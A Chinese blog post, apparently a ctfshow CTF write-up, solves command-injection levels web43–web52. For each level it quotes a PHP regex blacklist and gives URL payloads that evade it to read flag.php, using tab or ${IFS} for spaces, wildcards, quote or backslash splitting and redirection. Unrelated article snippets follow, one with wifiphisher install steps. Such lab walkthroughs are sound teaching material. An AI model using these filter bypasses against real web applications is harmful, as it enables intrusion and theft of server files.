ctfshow-web入门-命令执行(web43-web52)关于黑洞“ >/dev/null 2>1“的处理与绕过

目录

1、web43

2、web44

3、web45

4、web46

5、web47

6、web48

7、web49

8、web50

9、web51

10、web52


1、web43

在上一题 ‘黑洞’ 的基础上新增过滤:

preg_match("/\;|cat/i", $c)

 问题不大,我们不用分号和 cat 就行:

?c=ls||

payload: 

?c=tac flag.php||

拿到 flag:ctfshow{1327bbac-5c2b-44bc-ae8b-35790b8af546}

当然还有很多其他的文件查看命令都可以用,比如:more、less、nl 等

2、web44

preg_match("/;|cat|flag/i", $c)

新增过滤 flag,构造 payload:

?c=tac f*||

拿到 flag:ctfshow{61221e00-a6ab-44be-9f0f-01034265132b}

3、web45

新增过滤空格,使用 %09 代替 

preg_match("/\;|cat|flag| /i", $c)

构造 payload:

?c=tac%09f*||

拿到 flag:ctfshow{2e3d1abb-d4b6-41db-8078-5f557658403d}

使用 ${IFS} 代替也是可以的,payload:

?c=tac${IFS}f*||

说明:IFS 是 linux 的特殊变量,默认值是 space 空格,$ 是取变量值,$IFS 就代表空格。

使用 $IFS$9 也可以,构造 payload:

?c=tac$IFS$9f*||

4、web46

preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)

新增过滤数字、$、*,不使用这些即可,通配符使用问号?,空格使用 %09 代替。

构造 payload:

?c=tac%09fla?.php||

拿到 flag:ctfshow{545047aa-54aa-48ed-9a41-104cebfae6be}

这里特别说明下,为什么 %09 没有被正则匹配检测到?09 不是数字吗?

注意:我们传入的 c=%09 是 URL 编码,在 URL 编码中,%09 表示 ASCII 编码中的水平制表符(Tab 键),而不是数字 '0' 和 '9'。当服务器接收到请求时,它会对 URL 编码的参数进行解码,因此 c=%09 解析后会变成 c=\t,其中 \t 是水平制表符。

也就是说我们的正则匹配在 URL 解码之后才进行,所以不会被检测到。

此外还有很多其他的方法:

当我们换成 < 时发现问号进行通配不行,< 通常用于将一个命令的输出作为另一个命令的输入。

使用反斜杠转义绕过或者使用引号对绕过,payload:

将文件 flag.php 的内容作为 tac 命令的输入,并反向显示文件内容。 

?c=tac<fla\g.php||

或者

?c=tac<fla''g.php||

或者

?c=tac<fla""g.php||

使用 <> 代替空格也是可以的,payload:

?c=tac<>fla\g.php||

5、web47

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)

新增过滤一些命令:more|less|head|sort|tail

用 tac 或者 nl 即可,直接拿上一题的 payload打:

?c=tac<fla\g.php||

拿到 flag:ctfshow{f0f59065-df11-4cec-b502-fc9a7e2c48c8}

6、web48

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)

还是继续在新增过滤的命令和反引号`,依旧用上一题的 payload 就可以:

?c=tac<fla\g.php||

拿到 flag:ctfshow{27fb4c37-7767-412f-9389-0d90b5a9a361}

关于上面那些命令的介绍:

more:用于逐页显示文本文件内容。按空格键显示下一页,按 Enter 键显示下一行。

less:类似于 more,但提供了更多的功能,如向前翻页、向后翻页等。它更灵活且对大文件支持更好。

head:显示文件的开头部分,默认情况下显示文件的前 10 行。可以使用 -n 选项指定显示的行数。

sort:对文本文件进行排序,默认按字典顺序排序。可以使用不同的选项指定按照数字、日期等方式排序。

tail:显示文件的末尾部分,默认情况下显示文件的最后 10 行。可以使用 -n 选项指定显示的行数。

sed:流编辑器,用于对文本进行流式处理。可以进行文本替换、删除、插入等操作。

cut:用于从文本文件中剪切列。可以根据指定的分隔符将每行文本分割成多个字段,并选择特定的字段输出。

awk:功能强大的文本处理工具,可以对文本文件进行逐行处理,支持自定义处理逻辑、条件语句等。

strings:从二进制文件中提取可打印的字符串。常用于查看可执行文件或库文件中的文本信息。

od:以不同的格式显示文件的内容。可以将文件内容以八进制、十六进制等形式显示。

curl:用于在命令行中传输数据,支持多种协议,如 HTTP、HTTPS、FTP 等。常用于下载文件或与 Web 服务进行交互。

7、web49

新增过滤百分号 %,不用 %09,还是用上一题的 payload:

?c=tac<fla\g.php||

拿到 flag:ctfshow{288fc102-97b2-4eec-b76e-2bfdd30f318f}

8、web50

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

新增过滤水平制表符(tab 键)和 &,其中 \x 是一个转义序列,表示后面跟着的两位十六进制数代表一个字符。

还是可以继续用上一题的 payload:

?c=tac<fla\g.php||

拿到 flag:ctfshow{61d94bfa-55cc-4e6f-b99d-b300934322c8}

9、web51

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

新增过滤 tac 命令,使用 nl 绕过,构造 payload:

?c=nl<fla\g.php||

拿到 flag:ctfshow{076f8f1c-e0ad-41e5-b2e6-50fe0a655fa8}

10、web52

preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)

新增过滤大于、小于符号,但是美元符放出来了,构造 payload:

?c=nl${IFS}fla\g.php||

得到 $flag="flag_here"; 

flag 不在当前目录,看一下根目录:

?c=ls${IFS}/||

读取 flag:

?c=nl${IFS}/fl\ag||

拿到 flag:ctfshow{f043c560-aaea-4e22-9072-e6a5eb08d059}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/28419.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

YoloV8改进策略:卷积篇|Kan行天下之GRAM,KAN遇见Gram多项式

GRAM的灵感来自于Kolmogorov-Arnold网络&#xff08;KAN&#xff09;的替代品&#xff0c;如TorchKAN和ChebyKAN。GRAM引入了一种KAN模型的简化版本&#xff0c;但利用了Gram多项式变换的简洁性。它与其他替代品的不同之处在于其独特的离散性特征。与其他在连续区间上定义的多项…

串口触摸屏的键盘控制

&#xff08;text 属性txt_maxl 800&#xff09; ①变量loadpageid.val&#xff1a;调用页的页面ID。 ②变量loadcmpid.val&#xff1a;调用页的控件ID。 ③定时器tm0&#xff1a;让输入框有个光标不断闪烁&#xff0c;如果不需要&#xff0c;控件属性en0即可。 ④变量inputlen…

Redis Cluster 为什么不支持传统的事务模型

Redis Cluster 采用了分布式的架构&#xff0c;其设计目标主要是为了提供高可用性和可伸缩性。Redis Cluster 的数据分片存储在不同的节点上&#xff0c;每个节点负责一部分数据。传统的 Redis 单节点事务是通过 MULTI/EXEC 命令实现的&#xff0c;但 Redis Cluster 不支持跨节…

【python操作Excel的方法】

当然&#xff0c;除了openpyxl和pandas之外&#xff0c;还有其他几种方法可以用来操作Excel文件。以下是一些常见的操作Excel的方法&#xff0c;并附带了相关的数字和信息&#xff08;基于提供的参考文章&#xff09;&#xff1a; 1. 使用Excel本身的宏和VBA 优势&#xff1a…

centos意外断电的情况下linux挂载磁盘报错(已解决)

问题描述 centos意外断电的情况下linux挂载磁盘报错&#xff0c;这大致是意外断电硬盘相关meta信息还未落盘之类的导致磁盘信息对不上 通过命令 kubectl describe pod minio-5b9765594b-g4bwt得到错误信息 Warning FailedMount 47m (x5 over 47m) kubelet MountVolume.Mount…

切片(slicing)(Python)

文章目录 前言一、基本语法二、基本操作1、字符串2、列表 前言 切片&#xff08;Slicing&#xff09;是Python中对于序列类型&#xff08;如字符串、列表、字节、元组等&#xff09;的一种操作&#xff0c;用于获取序列的子部分。 一、基本语法 sequence[start:stop:step]参数…

SEO优化笔记 个人博客如何SEO设置

说实话现在个人博客越来越难做了&#xff0c;因为现在大多数的流量都被短视频吸引去了&#xff0c;当然有很多个人博客作的非常的好&#xff0c;还是有很多的流量做支撑的&#xff0c;个人也是小白站长&#xff0c;折腾网站也很久了&#xff0c;也总结了几点&#xff0c;分享非…

ABI和API的区别

ABI和API的区别 ABI&#xff08;Application Binary Interface&#xff09;&#xff1a; ABI是一种定义了二进制接口规范的概念&#xff0c;用于描述不同模块之间如何进行二进制交互。它定义了函数调用约定、参数传递方式、寄存器使用、内存布局等底层细节。ABI的目标是确保不…

C++风流和MATLAB | Python | CUDA 库埃特流泊肃叶流薄膜流体

&#x1f3af;要点 &#x1f3af;无滑移速度边界条件&#xff1a;&#x1f58a;反弹法计算库埃特流、泊肃叶流 | &#x1f58a;湿节点法计算库埃特流、泊肃叶流 | &#x1f3af;力模型&#xff1a;&#x1f58a;反弹法和不同的格子玻尔兹曼体力模型计算泊肃叶流 | &#x1f58…

自监督分类网络:创新的端到端学习方法

现代人工智能的快速发展中&#xff0c;分类任务的高效解决方案一直备受关注。今天&#xff0c;我们向大家介绍一种名为Self-Classifier的全新自监督端到端分类学习方法。由Elad Amrani、Leonid Karlinsky和Alex Bronstein团队开发&#xff0c;Self-Classifier通过优化同一样本的…

express+vue在线im实现【二】

expressvue在线im实现【一】 在线体验 本期完成了&#xff1a; 1、心跳检测 2、支持发送表情与图片【这个目前还需要优化下&#xff0c;当图片上传后会被默认选中&#xff0c;需要点击一下旁边&#xff0c;使之失去选中效果&#xff0c;才能正常&#xff0c;留待下期优化吧】…

Gone框架介绍27 - 再讲 Goner 和 依赖注入

gone是可以高效开发Web服务的Golang依赖注入框架 github地址&#xff1a;https://github.com/gone-io/gone 文档地址&#xff1a;https://goner.fun/zh/ 文章目录 Goner 和 依赖注入Goner的定义依赖标记Goners 注册Priest函数 Goner 和 依赖注入 Gone 作为一个依赖注入框架&am…

桂电人工智能学院大数据实验,使用 Docker 搭建 hadoop 集群

桂电人工智能学院大数据实验&#xff0c;使用 Docker 搭建 hadoop 集群 第一步 安装 Docker, Windows 上可以使用 Docker Desktop 下载地址&#xff1a;https://www.docker.com/products/docker-desktop/ 安装过程自行谷歌 安装好的标志&#xff1a;打开终端 运行docker p…

矩阵补全学习笔记

目录 矩阵补全概念原理 ICLR 2020 | 超越传统&#xff0c;基于图神经网络的归纳矩阵补全 因果面板数据模型的矩阵补全方法 矩阵补全概念原理 【综述】矩阵补全问题-CSDN博客 GitHub - XLearning-SCU/2022-CVPR-AirNet: PyTorch implementation for All-In-One Image Restor…

windows11子系统Ubuntu 22.04.4子安装图形化界面

1、windows11家庭版本设置 打开虚拟机安装许可 2、Microsoft Store下载安装ubuntu 我使用的是22.04.4 LTS版本 3、 打开ubuntu 命令窗口 1、打开win11的命令行&#xff0c;在下拉三角下标&#xff0c;打开&#xff0c;可以看到有Ubuntu 的选项&#xff0c;点击即可进入linux命…

pdb restore flashback recover 的三个办法 + CDB 级还原 注意数据库实际时间

Recover可以drop掉PDB&#xff0c;另外两个不行&#xff01;&#xff01; 除非CDB级还原 千万要注意好数据库时间 RMAN> recover pluggable database pdb until time "to_date(16-JUN-2024 19:00:00,DD-MON-YYYY HH24:MI:SS)" auxiliary destination data1; S…

鸿蒙应用开发

学习视频&#xff1a; 00.课程介绍_哔哩哔哩_bilibili 官网&#xff1a;开发者文档中心 | 华为开发者联盟 (huawei.com) 开发工具 &#xff1a;DevEcoStudio &#xff0c; 类似Jetbrains 全家桶 ArkTS开发语言 &#xff1a;&#xff08;基于TS,集成了前端语言&#xf…

wifiphisher详细安装教程

仅用于学习&#xff1a; 1、先进入root权限&#xff1b; 2、下载roguehostpad文件&#xff1b; git clone https://github.com/wifiphisher/roguehostapd.git3、进入roguehostpad文件夹&#xff1b; cd roguehostapd4、检查roguehostpad文件夹内的setup.py颜色是否变绿&#…

MySQL日志(二):MySQL抖动

一条SQL语句&#xff0c; 正常执行的时候特别快&#xff0c; 但是有时也不知道怎么回事&#xff0c; 它就会变得特别慢&#xff0c; 并且这样的场景很难复现&#xff0c; 它不只随机&#xff0c; 而且持续时间还很短。 看上去&#xff0c; 这就像是数据库“抖”了一下。 今天&…

c++编程(18)——deque的模拟实现(2)容器篇

欢迎来到博主的专栏——c编程 博主ID&#xff1a;代码小豪 文章目录 deque的数据结构deque的构造默认构造填充构造 deque的其他操作deque的插入、删除push_back和push_frontpop_back和pop_frontclear、erase和insert操作 传送门 在上一篇中&#xff0c;我们已经实现了deque最核…